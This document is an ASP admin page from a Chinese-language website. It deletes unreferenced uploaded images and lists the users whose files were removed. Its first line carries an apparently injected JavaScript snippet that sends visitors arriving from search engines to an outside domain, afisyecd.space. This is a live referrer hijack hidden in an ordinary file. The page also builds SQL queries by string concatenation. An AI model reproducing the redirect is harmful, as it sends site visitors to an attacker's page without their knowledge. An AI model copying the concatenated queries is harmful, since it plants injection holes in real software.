d:\wwwroot\wuchunhua\admin\delpic.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
%
>
006:
<html>
007:
<head>
008:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
009:
<link rel="stylesheet" type="text/css" href="../css/style.css">
010:
<title>无标题文档</title>
011:
<%
012:
set rs1=server.CreateObject("adodb.recordset")
013:
set rs2=server.CreateObject("adodb.recordset")
014:
i=0
015:
Set fdel = CreateObject("Scripting.FileSystemObject")
016:
rs1.open "select * from upfile",conn,1,3
017:
do while not rs1.eof
018:
rs2.open "select * from china_data where pic='"&rs1("filename")&"'",conn,1,1
019:
if rs2.eof then
020:
rs2.close
021:
rs2.open "select * from china_ad where picname='"&rs1("filename")&"'",conn,1,1
022:
if rs2.eof then
023:
rs2.close
024:
rs2.open "select * from news_data where pic='"&rs1("filename")&"'",conn,1,1
025:
if rs2.eof then
026:
rs2.close
027:
sql="select * from link_img where web='"&rs1("filename")&"'"
028:
end if
029:
end if
030:
end if
031:
032:
if rs2.eof then
033:
if rs1("username")<>"" and not isnull(rs1("username")) then conn.execute("update china_user set delpic=delpic+1 where uid='"&rs1("username")&"'")
034:
fdel.DeleteFile(Server.MapPath("../adpic/"&rs1("filename")&""))
035:
i=i+1
036:
end if
037:
rs2.close
038:
rs1.movenext
039:
loop
040:
set fdel=nothing
041:
rs1.close:set rs2=nothing
042:
conn.execute ("delete from upfile")
%
>
043:
<table width="98%" border="0" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
044:
<tr>
045:
<td height="20" bgcolor="#799AE1"><div align="center"><font color="#FFFFFF" style="font-size:14px">被 删 除 文 件 会 员 名 单</font></div></td>
046:
</tr>
047:
<tr>
048:
<td bgcolor="#FFFFFF"> 共删除
<%
=I
%
>个无用图片<br>
049:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#D6DFF7">
050:
<tr bgcolor="#FFFFFF">
051:
<td width="20%" height="26"><div align="center">会员ID</div></td>
052:
<td width="20%" height="26"><div align="center">最后登陆IP</div></td>
053:
<td width="20%" height="26"><div align="center">被删除文件数</div></td>
054:
<td width="20%" height="26"><div align="center">修改用户</div></td>
055:
<td width="20%" height="26"><div align="center">删除用户</div></td>
056:
</tr>
057:
<%
rs1.open "select * from china_user where delpic>0",conn,1,1
058:
if rs1.eof then
%
>
059:
<tr bgcolor="#FFFFFF">
060:
<td width="20%" height="26"><div align="center"></div></td>
061:
<td width="20%" height="26"><div align="center">暂无</div></td>
062:
<td width="20%" height="26"><div align="center"></div></td>
063:
<td width="20%" height="26"><div align="center"></div></td>
064:
<td width="20%" height="26"><div align="center"></div></td>
065:
</tr>
066:
<%
else
067:
do while not rs1.eof
%
>
068:
<tr bgcolor="#FFFFFF">
069:
<td width="20%" height="26" align="center">
<%
=rs1("uid")
%
></td>
070:
<td width="20%" height="26" align="center">
<%
=rs1("ip")
%
></td>
071:
<td width="20%" height="26" align="center">
<%
=rs1("delpic")
%
></td>
072:
<td width="20%" height="26" align="center"><a href="edituser.asp?id=
<%
=rs1("id")
%
>"><font color="green">修改</font></a></td>
073:
<td width="20%" height="26" align="center"><a href="del.asp?del=user&adid=
<%
=rs1("uid")
%
>" onClick="return confirm('确定要删除该用户吗？\n\n该操作不可恢复！')"><font color="green">删除</font></a></td>
074:
</tr>
075:
<%
rs1.movenext
076:
loop
077:
end if
078:
rs1.close
079:
conn.close:set conn=nothing
%
>
080:
</table>
081:
<br></td>
082:
</tr>
083:
</table>
084:
085:
086: